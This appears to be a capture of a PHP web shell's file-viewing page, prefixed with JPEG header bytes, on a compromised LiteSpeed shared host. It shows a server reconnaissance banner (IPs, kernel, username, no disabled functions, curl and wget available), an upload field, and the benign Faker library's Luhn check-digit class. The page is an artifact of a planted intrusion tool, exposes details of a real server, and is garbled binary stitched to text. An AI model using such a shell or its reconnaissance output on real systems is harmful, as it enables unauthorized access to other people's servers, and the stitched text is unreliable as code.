����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.218.199.14 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./gltevjme/bofirm.gltechlimited.com/vendor/fakerphp/faker/src/Faker/Calculator/ |
Upload File : |
<?php namespace Faker\Calculator; /** * Utility class for generating and validating Luhn numbers. * * Luhn algorithm is used to validate credit card numbers, IMEI numbers, and * National Provider Identifier numbers. * * @see http://en.wikipedia.org/wiki/Luhn_algorithm */ class Luhn { /** * @param string $number * * @return int */ private static function checksum($number) { $number = (string) $number; $length = strlen($number); $sum = 0; for ($i = $length - 1; $i >= 0; $i -= 2) { $sum += $number[$i]; } for ($i = $length - 2; $i >= 0; $i -= 2) { $sum += array_sum(str_split($number[$i] * 2)); } return $sum % 10; } /** * @param string $partialNumber * * @return string */ public static function computeCheckDigit($partialNumber) { $checkDigit = self::checksum($partialNumber . '0'); if ($checkDigit === 0) { return 0; } return (string) (10 - $checkDigit); } /** * Checks whether a number (partial number + check digit) is Luhn compliant * * @param string $number * * @return bool */ public static function isValid($number) { return self::checksum($number) === 0; } /** * Generate a Luhn compliant number. * * @param string $partialValue * * @return string */ public static function generateLuhnNumber($partialValue) { if (!preg_match('/^\d+$/', $partialValue)) { throw new \InvalidArgumentException('Argument should be an integer.'); } return $partialValue . Luhn::computeCheckDigit($partialValue); } }